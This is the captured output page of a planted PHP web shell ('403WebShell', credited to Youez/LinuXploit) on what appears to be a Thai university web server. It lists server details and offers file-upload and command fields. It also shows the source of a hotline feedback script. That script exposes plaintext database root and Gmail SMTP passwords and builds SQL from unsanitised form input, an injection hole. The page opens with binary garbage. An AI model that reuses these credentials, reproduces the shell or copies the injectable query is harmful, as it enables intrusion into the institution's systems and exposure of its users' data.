h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html//hotline.php
<?php session_start();?>
<?php include 'header.php';?>

			<!-- testimonials -->
			<section class="testi text-center py-5" id="sendresult">
				<div class="container pb-xl-5 pb-lg-3">
					<!--<div class="title-section mb-sm-5 mb-4 pb-xl-4 text-center">
						<h3 class="title text-uppercase text-center text-bl mb-5 pb-xl-1">โครงสร้างสำนักวิทยบริการฯ</h3>
					</div>-->
					<div class="row pb-4">
						<div class="col-lg-12">
							<div class="testi-cgrid">
<?php
# spam protection
#if (isset($_POST["website"]) && $_POST["website"] == "")
#{
	if (isset($_POST["submit"]))
	{
		// code for check server side validation
		if(empty($_SESSION['captcha_code'] ) || strcasecmp($_SESSION['captcha_code'], $_POST['captcha_code']) != 0){  
			$msg="<span style='color:red'>รหัสตรวจสอบไม่ถูกต้อง!</span>";// Captcha verification is incorrect.	
			echo "<p>" . $msg . "</p>";	
?>
<a href="javascript:history.back(1);" class="btn button-style mt-sm-5 mt-4">คลิกที่นี่เพื่อกลับหน้าที่แล้ว</a>
<?php			
		}else{// Captcha verification is Correct. Final Code Execute here!		
		  if (isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'http://arit.skru.ac.th/') !== 0) {
			// it's SPAM
		  }
		  else {	//if (isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'http://arit.skru.ac.th/') !== 0) {	
		   if (!empty($_POST['your_fax'])) {
    			// It's SPAM
		   } 
		   else { //if (!empty($_POST['your_fax'])) {  
			$Name = $_POST["Name"];
			$Email = $_POST["Email"];
			$Message = $_POST["Message"];
			$serverName = "localhost";
			$userName = "root";
			$userPassword = "arcskru";
			$dbName = "hotline";
			$conn = mysqli_connect($serverName,$userName,$userPassword,$dbName);
			mysqli_set_charset($conn,"utf8");
			
			$sql = "INSERT INTO hotline_detail ";
			$sql .="(sender_name,sender_email,detail) ";
			$sql .="VALUES ";
			$sql .="('". addslashes($_POST["Name"]) . "' ";
			$sql .=",'" . $_POST["Email"] . "' ";	
			$sql .=",'" . $_POST["Message"] . "') ";
			
			$query = mysqli_query($conn,$sql);
			
			if($query)
			{
			
				//ส่งเมล
				require_once('arit/mailer/class.phpmailer.php');
				$mail = new PHPMailer();
				$mail->IsHTML(true);
				$mail->IsSMTP();
				$mail->SMTPAuth = true; // enable SMTP authentication
				$mail->SMTPSecure = "ssl"; // sets the prefix to the servier
				$mail->Host = "smtp.gmail.com"; // sets GMAIL as the SMTP server
				$mail->Port = 465; // set the SMTP port for the GMAIL server
				$mail->Username = "circulation@skru.ac.th"; // GMAIL username
				$mail->Password = "cirarit@skru"; // GMAIL password
				$mail->From = $Email; // "name@yourdomain.com";
				//$mail->AddReplyTo = "support@thaicreate.com"; // Reply
				//$mail->FromName = "สำนักวิทยบริการฯ ม.ราชภัฏสงขลา";  // set from Name
				$mail->FromName = "=?utf-8?B?".base64_encode($Name)."?=";
				//$mail->Subject = "แจ้งสถานะรายการหนังสือที่ท่านแนะนำเข้าห้องสมุด"; 
				$mail->Subject    =  "=?utf-8?B?".base64_encode("สายตรงผู้อำนวยการ")."?=";
				$mail_detail = "จาก : " . $Name;
				$mail_detail .= "<br>อีเมล : " . $Email . "<font color=red> (ถ้าต้องการตอบกลับ กรุณาตอบกลับเมลนี้)</font>";
				$mail_detail .= "<br>รายละเอียด : " . $Message;
				$mail->Body = $mail_detail;
			
				//$mail->AddAddress("kobsak.na@skru.ac.th", "Mr.Adisorn Boonsong"); // to Address
				//$address = $MailUser;
				//$address = "aumnat.to@skru.ac.th";
				$address = "kobsak.na@skru.ac.th";
				$mail->AddAddress($address, "sending ");	
			
				//$mail->AddAttachment("thaicreate/myfile.zip");
				//$mail->AddAttachment("thaicreate/myfile2.zip");
			
				//$mail->AddCC("raisupit@hotmail.com", "=?utf-8?B?".base64_encode("สุพิศ ศิริรัตน์")."?="); //CC
				//$mail->AddBCC("member@thaicreate.com", "Mr.Member ShotDev"); //CC
			
				$mail->set('X-Priority', '1'); //Priority 1 = High, 3 = Normal, 5 = low
			
				$mail->Send(); 
				//echo "send..."; 
		
		
		
		
				//require_once('mailer/class.phpmailer.php');
				////include("class.smtp.php"); // optional, gets called from within class.phpmailer.php if not already loaded
				
				//$mail             = new PHPMailer();
				
				//$body             = "แจ้งสถานะรายการหนังสือ  <br/>ชื่อหนังสือ :: $Title <br/>  ผู้แต่ง :: $Author <br/> สถานะ :: $StatusTypeName ";
				////$body             = eregi_replace("[\]",'',$body);
				
				//$mail->IsSMTP(); // telling the class to use SMTP
				//$mail->Host       = "smtp.gmail.com"; // SMTP server
				//$mail->SMTPDebug  = 2;                     // enables SMTP debug information (for testing)
														   // 1 = errors and messages
														   // 2 = messages only
				//$mail->SMTPAuth   = true;                  // enable SMTP authentication
				//$mail->Host       = "smtp.gmail.com"; // sets the SMTP server
				//$mail->Port       = 465;                    // set the SMTP port for the GMAIL server
				//$mail->Username   = "circulation@skru.ac.th"; // SMTP account username
				//$mail->Password   = "cirarit@skru";        // SMTP account password
				
				//$mail->SetFrom('circulation@skru.ac.th');
				
				////$mail->AddReplyTo("name@yourdomain.com","First Last");
				
				//$mail->Subject    =  "=?utf-8?B?".base64_encode("แจ้งสถานะรายการหนังสือที่ท่านแนะนำเข้าห้องสมุด")."?=";
				
				////$mail->AltBody    = "To view the message, please use an HTML compatible email viewer!"; // optional, comment out and test
				
				//$mail->MsgHTML($body);
				
				//$address = $MailUser;
				//$mail->AddAddress($address, "sending ");
				
				//$mail->AddAttachment("images/phpmailer.gif");      // attachment
				//$mail->AddAttachment("images/phpmailer_mini.gif"); // attachment
				
				//if(!$mail->Send()) {
				//  echo "Mailer Error: " . $mail->ErrorInfo;
				//} else {
				//  echo "ส่งเมล์เรียบร้อยแล้ว";
				//}			
?>
									<p>ความคิดเห็นของท่านได้ส่งเรียบร้อยแล้ว</p>
									<p>ขอบคุณที่แสดงความคิดเห็น ความคิดเห็นของท่านจะเป็นแนวทางในการพัฒนาสำนักวิทยบริการฯต่อไป</p>
									<a href="index.php" class="btn button-style mt-sm-5 mt-4">คลิกที่นี่เพื่อกลับหน้าหลัก</a>
<?php
			}
			else //if($query)
			{
				echo "ไม่สามารถส่งข้อมูลได้";
			}		 //if($query)
?>
	
<?php
		   } //if (!empty($_POST['your_fax'])) {
		  } //if (isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'http://arit.skru.ac.th/') !== 0) {
		}// Captcha verification is Correct. Final Code Execute here!
	}
	else //if (isset($_POST["submit"]))
	{

	}		//if (isset($_POST["submit"]))	
#}
#else //if (isset($_POST["website"]) && $_POST["website"] == "")
#{
#	http_response_code(400);
#	exit;
#}	//if (isset($_POST["website"]) && $_POST["website"] == "")			
?>


							</div>
						</div>
					</div>
				</div>
			</section>
			<!-- testimonials -->


<?php include 'footer.php';?>

Youez - 2016 - github.com/yon3zu
LinuXploit